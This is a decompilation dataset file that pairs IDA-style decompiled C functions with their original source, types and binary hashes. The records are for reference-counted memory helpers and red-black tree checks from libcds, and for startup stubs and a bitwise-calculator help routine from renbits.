[ { "name": "mem_allocate", "canonical_name": "func0", "repo": "mikedlowis/libcds", "decompiled_code": "char *__fastcall mem_allocate(__int64 a1, __int64 a2)\n{\n_QWORD *v2; // rax\n\nv2 = malloc(a1 + 16);\n*(_DWORD *)v2 = 1;\nv2[1] = a2;\nreturn (char *)(v2 + 2);\n}\n", "canonical_decompiled_code": "char *__fastcall func0(__int64 a1, __int64 a2)\n{\n_QWORD *v2; // rax\n\nv2 = malloc(a1 + 16);\n*(_DWORD *)v2 = 1;\nv2[1] = a2;\nreturn (char *)(v2 + 2);\n}", "original_code": "void* mem_allocate(size_t size, destructor_t p_destruct_fn)\n{\n obj_t* p_obj = (obj_t*)malloc(sizeof(obj_t) + size);\n p_obj->refcount = 1;\n p_obj->p_finalize = p_destruct_fn;\n return (void*)(p_obj+1);\n}", "canonical_original_code": "void *mem_allocate(unsigned long size, void (*p_destruct_fn)(void *p_val))\n{\n struct obj_t *p_obj = (obj_t*)malloc(sizeof(obj_t) + size);\n p_obj->refcount = 1;\n p_obj->p_finalize = p_destruct_fn;\n return (void *)(p_obj+1);\n}", "variable_types": [ [ "size", "unsigned long" ], [ "p_destruct_fn", "void (*)(void *p_val)" ], [ "p_obj", "struct obj_t { int refcount; void (*p_finalize)(void *p_val); } *" ] ], "return_type": "void *", "user_defined_types": [ "struct obj_t { int refcount; void (*p_finalize)(void *p_val); }" ], "binary_hash": "bf38943ddbdebdc49b093eeb076a054203d0f9d9281a3d7536b45287e7351695" }, { "name": "mem_refcount", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall mem_refcount(__int64 a1)\n{\nexn_assert(\"source/mem/mem.c\", 52LL, a1 != 0, \"NULL != p_obj\");\nreturn *(unsigned int *)(a1 - 16);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1)\n{\nexn_assert(\"source/mem/mem.c\", 52LL, a1 != 0, \"NULL != p_obj\");\nreturn *(unsigned int *)(a1 - 16);\n}", "original_code": "int mem_refcount(void* p_obj)\n{\n obj_t* p_hdr;\n exn_assert(\"source/mem/mem.c\",52,((void *)0) != p_obj,\"NULL != p_obj\");\n p_hdr = (((obj_t*)p_obj)-1);\n return p_hdr->refcount;\n}", "canonical_original_code": "int mem_refcount(void *p_obj)\n{\n struct obj_t *p_hdr;\n exn_assert(\"source/mem/mem.c\",52,((void *)0) != p_obj,\"NULL != p_obj\");\n p_hdr = (((struct obj_t *)p_obj)-1);\n return p_hdr->refcount;\n}", "variable_types": [ [ "p_obj", "void *" ], [ "p_hdr", "struct obj_t { int refcount; void (*p_finalize)(void *p_val); } *" ] ], "return_type": "int", "user_defined_types": [ "struct obj_t { int refcount; void (*p_finalize)(void *p_val); }" ], "binary_hash": "bf38943ddbdebdc49b093eeb076a054203d0f9d9281a3d7536b45287e7351695" }, { "name": "mem_retain", "canonical_name": "func2", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall mem_retain(__int64 a1)\n{\nexn_assert(\"source/mem/mem.c\", 60LL, a1 != 0, \"NULL != p_obj\");\n++*(_DWORD *)(a1 - 16);\nreturn a1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(__int64 a1)\n{\nexn_assert(\"source/mem/mem.c\", 60LL, a1 != 0, \"NULL != p_obj\");\n++*(_DWORD *)(a1 - 16);\nreturn a1;\n}", "original_code": "void* mem_retain(void* p_obj)\n{\n obj_t* p_hdr;\n exn_assert(\"source/mem/mem.c\",60,((void *)0) != p_obj,\"NULL != p_obj\");\n p_hdr = (((obj_t*)p_obj)-1);\n p_hdr->refcount += 1;\n return p_obj;\n}", "canonical_original_code": "void *mem_retain(void *p_obj)\n{\n struct obj_t *p_hdr;\n exn_assert(\"source/mem/mem.c\",60,((void *)0) != p_obj,\"NULL != p_obj\");\n p_hdr = (((struct obj_t *)p_obj)-1);\n p_hdr->refcount += 1;\n return p_obj;\n}", "variable_types": [ [ "p_obj", "void *" ], [ "p_hdr", "struct obj_t { int refcount; void (*p_finalize)(void *p_val); } *" ] ], "return_type": "void *", "user_defined_types": [ "struct obj_t { int refcount; void (*p_finalize)(void *p_val); }" ], "binary_hash": "bf38943ddbdebdc49b093eeb076a054203d0f9d9281a3d7536b45287e7351695" }, { "name": "mem_release", "canonical_name": "func3", "repo": "mikedlowis/libcds", "decompiled_code": "void __fastcall mem_release(__int64 a1)\n{\nvoid (__fastcall **ptr)(_QWORD); // [rsp+18h] [rbp-8h]\n\nif ( a1 )\n{\nptr = (void (__fastcall **)(_QWORD))(a1 - 16);\nif ( (int)--*(_DWORD *)(a1 - 16) <= 0 )\n{\nif ( ptr[1] )\nptr[1](a1);\nfree(ptr);\n}\n}\n}\n", "canonical_decompiled_code": "void __fastcall func3(__int64 a1)\n{\nvoid (__fastcall **ptr)(_QWORD); // [rsp+18h] [rbp-8h]\n\nif ( a1 )\n{\nptr = (void (__fastcall **)(_QWORD))(a1 - 16);\nif ( (int)--*(_DWORD *)(a1 - 16) <= 0 )\n{\nif ( ptr[1] )\nptr[1](a1);\nfree(ptr);\n}\n}\n}", "original_code": "void mem_release(void* p_obj)\n{\n obj_t* p_hdr;\n if (((void *)0) != p_obj) {\n p_hdr = (((obj_t*)p_obj)-1);\n p_hdr->refcount -= 1;\n if(p_hdr->refcount < 1)\n {\n if(p_hdr->p_finalize)\n {\n p_hdr->p_finalize(p_obj);\n }\n free(p_hdr);\n }\n }\n}", "canonical_original_code": "void mem_release(void *p_obj)\n{\n struct obj_t *p_hdr;\n if (((void *)0) != p_obj) {\n p_hdr = (((struct obj_t *)p_obj)-1);\n p_hdr->refcount -= 1;\n if(p_hdr->refcount < 1)\n {\n if(p_hdr->p_finalize)\n {\n p_hdr->p_finalize(p_obj);\n }\n free(p_hdr);\n }\n }\n}", "variable_types": [ [ "p_obj", "void *" ], [ "p_hdr", "struct obj_t { int refcount; void (*p_finalize)(void *p_val); } *" ] ], "return_type": "void", "user_defined_types": [ "struct obj_t { int refcount; void (*p_finalize)(void *p_val); }" ], "binary_hash": "bf38943ddbdebdc49b093eeb076a054203d0f9d9281a3d7536b45287e7351695" }, { "name": "mem_swap", "canonical_name": "func4", "repo": "mikedlowis/libcds", "decompiled_code": "void __fastcall mem_swap(__int64 *a1, __int64 a2)\n{\n__int64 v2; // [rsp+18h] [rbp-8h]\n\nv2 = *a1;\n*a1 = a2;\nmem_release(v2);\n}\n", "canonical_decompiled_code": "void __fastcall func4(__int64 *a1, __int64 a2)\n{\n__int64 v2; // [rsp+18h] [rbp-8h]\n\nv2 = *a1;\n*a1 = a2;\nfunc3(v2);\n}", "original_code": "void mem_swap(void** loc, void* obj)\n{\n void* old = *loc;\n *loc = obj;\n mem_release(old);\n}", "canonical_original_code": "void mem_swap(void **loc, void *obj)\n{\n void *old = *loc;\n *loc = obj;\n mem_release(old);\n}", "variable_types": [ [ "loc", "void **" ], [ "obj", "void *" ], [ "old", "void *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "bf38943ddbdebdc49b093eeb076a054203d0f9d9281a3d7536b45287e7351695" }, { "name": "mem_box", "canonical_name": "func5", "repo": "mikedlowis/libcds", "decompiled_code": "char *__fastcall mem_box(__int64 a1)\n{\nchar *result; // rax\n\nresult = mem_allocate(8LL, 0LL);\n*(_QWORD *)result = a1;\nreturn result;\n}\n", "canonical_decompiled_code": "char *__fastcall func5(__int64 a1)\n{\nchar *result; // rax\n\nresult = func0(8LL, 0LL);\n*(_QWORD *)result = a1;\nreturn result;\n}", "original_code": "void* mem_box(intptr_t val)\n{\n box_t* p_box = (box_t*)mem_allocate(sizeof(box_t), ((void *)0));\n p_box->val = val;\n return (void*)p_box;\n}", "canonical_original_code": "void *mem_box(long val)\n{\n struct box_t *p_box = (box_t*)mem_allocate(sizeof(box_t), ((void *)0));\n p_box->val = val;\n return (void *)p_box;\n}", "variable_types": [ [ "val", "long" ], [ "p_box", "struct box_t { long val; } *" ] ], "return_type": "void *", "user_defined_types": [ "struct box_t { long val; }" ], "binary_hash": "bf38943ddbdebdc49b093eeb076a054203d0f9d9281a3d7536b45287e7351695" }, { "name": "mem_unbox", "canonical_name": "func6", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall mem_unbox(__int64 a1)\n{\nexn_assert(\"source/mem/mem.c\", 102LL, a1 != 0, \"NULL != p_box\");\nreturn *(_QWORD *)a1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(__int64 a1)\n{\nexn_assert(\"source/mem/mem.c\", 102LL, a1 != 0, \"NULL != p_box\");\nreturn *(_QWORD *)a1;\n}", "original_code": "intptr_t mem_unbox(void* p_box)\n{\n exn_assert(\"source/mem/mem.c\",102,((void *)0) != p_box,\"NULL != p_box\");\n return ((box_t*)p_box)->val;\n}", "canonical_original_code": "long mem_unbox(void *p_box)\n{\n exn_assert(\"source/mem/mem.c\",102,((void *)0) != p_box,\"NULL != p_box\");\n return ((struct box_t *)p_box)->val;\n}", "variable_types": [ [ "p_box", "void *" ] ], "return_type": "long", "user_defined_types": [ "struct box_t { long val; }" ], "binary_hash": "bf38943ddbdebdc49b093eeb076a054203d0f9d9281a3d7536b45287e7351695" } ]
dbc8454064afa94928f97d02f3e1f52aba986985fdf759811e00f6465cae8fc5
mikedlowis/libcds
[ [ "main", "->" ] ]
[]
[ { "name": "main", "canonical_name": "main", "repo": "mikedlowis/libcds", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nVector(argc, argv, envp);\nList();\nBuffer();\nString();\nRBT();\nExn();\nSet();\nMap();\nreturn test_print_results();\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nVector(argc, argv, envp);\nList();\nBuffer();\nString();\nRBT();\nExn();\nSet();\nMap();\nreturn test_print_results();\n}", "original_code": "int main(int argc, char** argv)\n{\n (void)argc;\n (void)argv;\n extern void Vector(void); Vector();;\n extern void List(void); List();;\n extern void Buffer(void); Buffer();;\n extern void String(void); String();;\n extern void RBT(void); RBT();;\n extern void Exn(void); Exn();;\n extern void Set(void); Set();;\n extern void Map(void); Map();;\n return test_print_results();\n}", "canonical_original_code": "int main(int argc, char **argv)\n{\n (void)argc;\n (void)argv;\n extern void Vector(); Vector();;\n extern void List(); List();;\n extern void Buffer(); Buffer();;\n extern void String(); String();;\n extern void RBT(); RBT();;\n extern void Exn(); Exn();;\n extern void Set(); Set();;\n extern void Map(); Map();;\n return test_print_results();\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char **" ], [ "Vector", "void ()" ], [ "List", "void ()" ], [ "Buffer", "void ()" ], [ "String", "void ()" ], [ "RBT", "void ()" ], [ "Exn", "void ()" ], [ "Set", "void ()" ], [ "Map", "void ()" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "dbc8454064afa94928f97d02f3e1f52aba986985fdf759811e00f6465cae8fc5" } ]
dd335a62fd803eeca9561835285063e63b2ced354edd1350a212a0c652e045e6
mikedlowis/libcds
[ [ "test_compare", "->" ], [ "count_black_nodes_to_leaf", "->", "rbt_check_status" ], [ "rbt_check_node", "->", "rbt_check_status" ], [ "rbt_check_status", "->", "rbt_check_node", "count_black_nodes_to_leaf" ], [ "test_setup", "->" ] ]
[]
[ { "name": "test_compare", "canonical_name": "func0", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall test_compare(__int64 a1, __int64 a2, __int64 a3)\n{\nint v5; // [rsp+28h] [rbp-8h]\nint v6; // [rsp+2Ch] [rbp-4h]\n\nv6 = mem_unbox(a2);\nv5 = mem_unbox(a3);\nif ( v6 == v5 )\nreturn 0LL;\nif ( v6 >= v5 )\nreturn 1LL;\nreturn 0xFFFFFFFFLL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1, __int64 a2, __int64 a3)\n{\nint v5; // [rsp+28h] [rbp-8h]\nint v6; // [rsp+2Ch] [rbp-4h]\n\nv6 = mem_unbox(a2);\nv5 = mem_unbox(a3);\nif ( v6 == v5 )\nreturn 0LL;\nif ( v6 >= v5 )\nreturn 1LL;\nreturn 0xFFFFFFFFLL;\n}", "original_code": "static int test_compare(void* env, void* a, void* b){\n int ia = (int)(mem_unbox(a));\n int ib = (int)(mem_unbox(b));\n (void)env;\n return (ia == ib ? 0 : (ia<ib ? -1 : 1 ));\n}", "canonical_original_code": "static int test_compare(void *env, void *a, void *b){\n int ia = (int)(mem_unbox(a));\n int ib = (int)(mem_unbox(b));\n (void)env;\n return (ia == ib ? 0 : (ia<ib ? -1 : 1 ));\n}", "variable_types": [ [ "env", "void *" ], [ "a", "void *" ], [ "b", "void *" ], [ "ia", "int" ], [ "ib", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "dd335a62fd803eeca9561835285063e63b2ced354edd1350a212a0c652e045e6" }, { "name": "count_black_nodes_to_leaf", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall count_black_nodes_to_leaf(__int64 a1)\n{\nunsigned int v2; // [rsp+18h] [rbp-8h]\nunsigned int v3; // [rsp+1Ch] [rbp-4h]\n\nv3 = 0;\nif ( a1 )\n{\nv2 = count_black_nodes_to_leaf(*(_QWORD *)a1);\nif ( v2 == (unsigned int)count_black_nodes_to_leaf(*(_QWORD *)(a1 + 8)) )\n{\nif ( *(_DWORD *)(a1 + 24) == 1 )\nv3 = v2 + 1;\nelse\nv3 = v2;\n}\nelse\n{\nv3 = -1;\n}\n}\nreturn v3;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1)\n{\nunsigned int v2; // [rsp+18h] [rbp-8h]\nunsigned int v3; // [rsp+1Ch] [rbp-4h]\n\nv3 = 0;\nif ( a1 )\n{\nv2 = func1(*(_QWORD *)a1);\nif ( v2 == (unsigned int)func1(*(_QWORD *)(a1 + 8)) )\n{\nif ( *(_DWORD *)(a1 + 24) == 1 )\nv3 = v2 + 1;\nelse\nv3 = v2;\n}\nelse\n{\nv3 = -1;\n}\n}\nreturn v3;\n}", "original_code": "static int count_black_nodes_to_leaf(rbt_node_t* node){\n int ret = 0;\n if(node){\n int leftcount = count_black_nodes_to_leaf(node->left);\n int rightcount = count_black_nodes_to_leaf(node->right);\n if(leftcount != rightcount) ret = -1;\n else if(node->color == BLACK) ret = leftcount+1;\n else ret = leftcount;\n }\n return ret;\n}", "canonical_original_code": "static int count_black_nodes_to_leaf(struct rbt_node_t *node){\n int ret = 0;\n if(node){\n int leftcount = count_black_nodes_to_leaf(node->left);\n int rightcount = count_black_nodes_to_leaf(node->right);\n if(leftcount != rightcount) ret = -1;\n else if(node->color == BLACK) ret = leftcount+1;\n else ret = leftcount;\n }\n return ret;\n}", "variable_types": [ [ "node", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ], [ "ret", "int" ], [ "leftcount", "int" ], [ "rightcount", "int" ] ], "return_type": "int", "user_defined_types": [ "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "dd335a62fd803eeca9561835285063e63b2ced354edd1350a212a0c652e045e6" }, { "name": "rbt_check_node", "canonical_name": "func2", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_check_node(__int64 a1, _QWORD *a2, __int64 a3, __int64 a4)\n{\nunsigned int v7; // [rsp+2Ch] [rbp-4h]\n\nv7 = 0;\nif ( a2 )\n{\nif ( !*((_DWORD *)a2 + 6) || *((_DWORD *)a2 + 6) == 1 )\n{\nif ( *((_DWORD *)a2 + 6) || (unsigned int)rbt_node_color(*a2) == 1 || (unsigned int)rbt_node_color(a2[1]) == 1 )\n{\nif ( a3 && (int)cmp_compare(*(_QWORD *)(a1 + 8), a2[4], a3) < 0 )\n{\nv7 = 1;\n}\nelse if ( a4 && (int)cmp_compare(*(_QWORD *)(a1 + 8), a2[4], a4) > 0 )\n{\nv7 = 1;\n}\nelse if ( a2 == (_QWORD *)*a2 || a2 == (_QWORD *)a2[1] )\n{\nv7 = 7;\n}\nelse if ( !*a2 || a2 == *(_QWORD **)(*a2 + 16LL) )\n{\nif ( a2[1] && a2 != *(_QWORD **)(a2[1] + 16LL) )\nv7 = 6;\n}\nelse\n{\nv7 = 6;\n}\n}\nelse\n{\nv7 = 5;\n}\n}\nelse\n{\nv7 = 4;\n}\nif ( !v7 )\nv7 = rbt_check_node(a1, *a2, a3, a2[4]);\nif ( !v7 )\nv7 = rbt_check_node(a1, a2[1], a2[4], a4);\n}\nreturn v7;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(__int64 a1, _QWORD *a2, __int64 a3, __int64 a4)\n{\nunsigned int v7; // [rsp+2Ch] [rbp-4h]\n\nv7 = 0;\nif ( a2 )\n{\nif ( !*((_DWORD *)a2 + 6) || *((_DWORD *)a2 + 6) == 1 )\n{\nif ( *((_DWORD *)a2 + 6) || (unsigned int)rbt_node_color(*a2) == 1 || (unsigned int)rbt_node_color(a2[1]) == 1 )\n{\nif ( a3 && (int)cmp_compare(*(_QWORD *)(a1 + 8), a2[4], a3) < 0 )\n{\nv7 = 1;\n}\nelse if ( a4 && (int)cmp_compare(*(_QWORD *)(a1 + 8), a2[4], a4) > 0 )\n{\nv7 = 1;\n}\nelse if ( a2 == (_QWORD *)*a2 || a2 == (_QWORD *)a2[1] )\n{\nv7 = 7;\n}\nelse if ( !*a2 || a2 == *(_QWORD **)(*a2 + 16LL) )\n{\nif ( a2[1] && a2 != *(_QWORD **)(a2[1] + 16LL) )\nv7 = 6;\n}\nelse\n{\nv7 = 6;\n}\n}\nelse\n{\nv7 = 5;\n}\n}\nelse\n{\nv7 = 4;\n}\nif ( !v7 )\nv7 = func2(a1, *a2, a3, a2[4]);\nif ( !v7 )\nv7 = func2(a1, a2[1], a2[4], a4);\n}\nreturn v7;\n}", "original_code": "static rbt_status_t rbt_check_node(rbt_t* tree, rbt_node_t* node, void* min_val, void* max_val){\n rbt_status_t ret = OK;\n if(node){\n if(node->color != RED && node->color != BLACK) ret = UNKNOWN_COLOR;\n else if(node->color == RED && (rbt_node_color(node->left) != BLACK && rbt_node_color(node->right) != BLACK))\n ret = RED_WITH_RED_CHILD;\n else if(min_val && cmp_compare(tree->comp, node->contents, min_val) < 0) ret = OUT_OF_ORDER;\n else if(max_val && cmp_compare(tree->comp, node->contents, max_val) > 0) ret = OUT_OF_ORDER;\n else if(node->left == node || node->right == node) ret = SELF_REFERENCE;\n else if(node->left && node->left->parent != node) ret = BAD_PARENT_POINTER;\n else if(node->right && node->right->parent != node) ret = BAD_PARENT_POINTER;\n if(ret == OK) ret = rbt_check_node(tree, node->left, min_val, node->contents);\n if(ret == OK) ret = rbt_check_node(tree, node->right, node->contents, max_val);\n }\n return ret;\n}", "canonical_original_code": "static enum rbt_status_t rbt_check_node(struct rbt_t *tree, struct rbt_node_t *node, void *min_val, void *max_val){\n enum rbt_status_t ret = OK;\n if(node){\n if(node->color != RED && node->color != BLACK) ret = UNKNOWN_COLOR;\n else if(node->color == RED && (rbt_node_color(node->left) != BLACK && rbt_node_color(node->right) != BLACK))\n ret = RED_WITH_RED_CHILD;\n else if(min_val && cmp_compare(tree->comp, node->contents, min_val) < 0) ret = OUT_OF_ORDER;\n else if(max_val && cmp_compare(tree->comp, node->contents, max_val) > 0) ret = OUT_OF_ORDER;\n else if(node->left == node || node->right == node) ret = SELF_REFERENCE;\n else if(node->left && node->left->parent != node) ret = BAD_PARENT_POINTER;\n else if(node->right && node->right->parent != node) ret = BAD_PARENT_POINTER;\n if(ret == OK) ret = rbt_check_node(tree, node->left, min_val, node->contents);\n if(ret == OK) ret = rbt_check_node(tree, node->right, node->contents, max_val);\n }\n return ret;\n}", "variable_types": [ [ "tree", "struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *" ], [ "node", "struct rbt_node_t *" ], [ "min_val", "void *" ], [ "max_val", "void *" ], [ "ret", "enum rbt_status_t { OK=0, OUT_OF_ORDER=1, BAD_ROOT_COLOR=2, BLACK_NODES_UNBALANCED=3, UNKNOWN_COLOR=4, RED_WITH_RED_CHILD=5, BAD_PARENT_POINTER=6, SELF_REFERENCE=7 }" ] ], "return_type": "enum rbt_status_t { OK=0, OUT_OF_ORDER=1, BAD_ROOT_COLOR=2, BLACK_NODES_UNBALANCED=3, UNKNOWN_COLOR=4, RED_WITH_RED_CHILD=5, BAD_PARENT_POINTER=6, SELF_REFERENCE=7 }", "user_defined_types": [ "enum rbt_status_t { OK=0, OUT_OF_ORDER=1, BAD_ROOT_COLOR=2, BLACK_NODES_UNBALANCED=3, UNKNOWN_COLOR=4, RED_WITH_RED_CHILD=5, BAD_PARENT_POINTER=6, SELF_REFERENCE=7 }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "dd335a62fd803eeca9561835285063e63b2ced354edd1350a212a0c652e045e6" }, { "name": "rbt_check_status", "canonical_name": "func3", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_check_status(__int64 *a1)\n{\nunsigned int v2; // [rsp+1Ch] [rbp-4h]\n\nv2 = 0;\nif ( a1 )\n{\nv2 = rbt_check_node((__int64)a1, (_QWORD *)*a1, 0LL, 0LL);\nif ( !v2 && *a1 && *(_QWORD *)(*a1 + 16) )\nv2 = 6;\nif ( !v2 && (unsigned int)rbt_node_color(*a1) != 1 )\nv2 = 2;\nif ( !v2 && (unsigned int)count_black_nodes_to_leaf(*a1) == -1 )\nv2 = 3;\n}\nreturn v2;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(__int64 *a1)\n{\nunsigned int v2; // [rsp+1Ch] [rbp-4h]\n\nv2 = 0;\nif ( a1 )\n{\nv2 = func2((__int64)a1, (_QWORD *)*a1, 0LL, 0LL);\nif ( !v2 && *a1 && *(_QWORD *)(*a1 + 16) )\nv2 = 6;\nif ( !v2 && (unsigned int)rbt_node_color(*a1) != 1 )\nv2 = 2;\nif ( !v2 && (unsigned int)func1(*a1) == -1 )\nv2 = 3;\n}\nreturn v2;\n}", "original_code": "static rbt_status_t rbt_check_status(rbt_t* tree){\n rbt_status_t ret = OK;\n if(tree){\n ret = rbt_check_node(tree, tree->root, ((void *)0), ((void *)0));\n if(ret == OK && tree->root && tree->root->parent) ret = BAD_PARENT_POINTER;\n if(ret == OK && rbt_node_color(tree->root) != BLACK) ret = BAD_ROOT_COLOR;\n if(ret == OK && count_black_nodes_to_leaf(tree->root) == -1) ret = BLACK_NODES_UNBALANCED;\n }\n return ret;\n}", "canonical_original_code": "static enum rbt_status_t rbt_check_status(struct rbt_t *tree){\n enum rbt_status_t ret = OK;\n if(tree){\n ret = rbt_check_node(tree, tree->root, ((void *)0), ((void *)0));\n if(ret == OK && tree->root && tree->root->parent) ret = BAD_PARENT_POINTER;\n if(ret == OK && rbt_node_color(tree->root) != BLACK) ret = BAD_ROOT_COLOR;\n if(ret == OK && count_black_nodes_to_leaf(tree->root) == -1) ret = BLACK_NODES_UNBALANCED;\n }\n return ret;\n}", "variable_types": [ [ "tree", "struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *" ], [ "ret", "enum rbt_status_t { OK=0, OUT_OF_ORDER=1, BAD_ROOT_COLOR=2, BLACK_NODES_UNBALANCED=3, UNKNOWN_COLOR=4, RED_WITH_RED_CHILD=5, BAD_PARENT_POINTER=6, SELF_REFERENCE=7 }" ] ], "return_type": "enum rbt_status_t { OK=0, OUT_OF_ORDER=1, BAD_ROOT_COLOR=2, BLACK_NODES_UNBALANCED=3, UNKNOWN_COLOR=4, RED_WITH_RED_CHILD=5, BAD_PARENT_POINTER=6, SELF_REFERENCE=7 }", "user_defined_types": [ "enum rbt_status_t { OK=0, OUT_OF_ORDER=1, BAD_ROOT_COLOR=2, BLACK_NODES_UNBALANCED=3, UNKNOWN_COLOR=4, RED_WITH_RED_CHILD=5, BAD_PARENT_POINTER=6, SELF_REFERENCE=7 }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "dd335a62fd803eeca9561835285063e63b2ced354edd1350a212a0c652e045e6" }, { "name": "test_setup", "canonical_name": "func4", "repo": "mikedlowis/libcds", "decompiled_code": "void test_setup()\n{\n;\n}\n", "canonical_decompiled_code": "void func4()\n{\n;\n}", "original_code": "static void test_setup(void) { }", "canonical_original_code": "static void test_setup() { }", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "dd335a62fd803eeca9561835285063e63b2ced354edd1350a212a0c652e045e6" } ]
86a454cce72d084c22af8bbf99065232740e4fe3a2889f3ee4dd0fac0a9447ea
jrenner/renbits
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "help", "->", "main" ], [ "dec_to_bin", "->", "run_bitwise_operation" ], [ "run_bitwise_operation", "->", "dec_to_bin", "main" ], [ "main", "->", "help", "run_bitwise_operation" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "FILE **func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "FILE **func5()\n{\nFILE **result; // rax\n\nif ( !completed_0 )\n{\nresult = func3();\ncompleted_0 = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "_libc_csu_init", "void __fastcall func10(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func11(void)\n{\n;\n}" ] ]
[ { "name": "help", "canonical_name": "func7", "repo": "jrenner/renbits", "decompiled_code": "int help()\n{\nputs(\"================================================================================\");\nputs(\"\\tFun with binary and bitwise operations!\");\nputs(\"USAGE:\");\nputs(\"input a one line command in the format of <integer1> <(optional)operator name> <(optional)integer2>\");\nputs(\"valid operators(not case sensitive):\");\nputs(\"\\tAND, OR, XOR, TWIDDLE, RSHIFT, LSHIFT\");\nputs(\"\\t&, |, ^, ~, >>, <<\");\nputs(\"examples:\\n\\t3 and 9 (3 & 9)\\n\\t4 RSHIFT 1 (4 >> 1)\\n\\t810 TWIDDLE (810 ~)\\n\\t47 XOR 39 (47 ^ 39)\");\nreturn puts(\"================================================================================\");\n}\n", "canonical_decompiled_code": "int func7()\n{\nputs(\"================================================================================\");\nputs(\"\\tFun with binary and bitwise operations!\");\nputs(\"USAGE:\");\nputs(\"input a one line command in the format of <integer1> <(optional)operator name> <(optional)integer2>\");\nputs(\"valid operators(not case sensitive):\");\nputs(\"\\tAND, OR, XOR, TWIDDLE, RSHIFT, LSHIFT\");\nputs(\"\\t&, |, ^, ~, >>, <<\");\nputs(\"examples:\\n\\t3 and 9 (3 & 9)\\n\\t4 RSHIFT 1 (4 >> 1)\\n\\t810 TWIDDLE (810 ~)\\n\\t47 XOR 39 (47 ^ 39)\");\nreturn puts(\"================================================================================\");\n}", "original_code": "void help()\n{\n puts(\"================================================================================\");\n printf(\"\\tFun with binary and bitwise operations!\\n\");\n printf(\"USAGE:\\n\");\n printf(\"input a one line command in the format of <integer1> <(optional)operator name> <(optional)integer2>\\n\");\n printf(\"valid operators(not case sensitive):\\n\");\n printf(\"\\tAND, OR, XOR, TWIDDLE, RSHIFT, LSHIFT\\n\");\n printf(\"\\t&, |, ^, ~, >>, <<\\n\");\n printf(\"examples:\\n\\t3 and 9 (3 & 9)\\n\\t4 RSHIFT 1 (4 >> 1)\\n\\t810 TWIDDLE (810 ~)\\n\\t47 XOR 39 (47 ^ 39)\\n\");\n 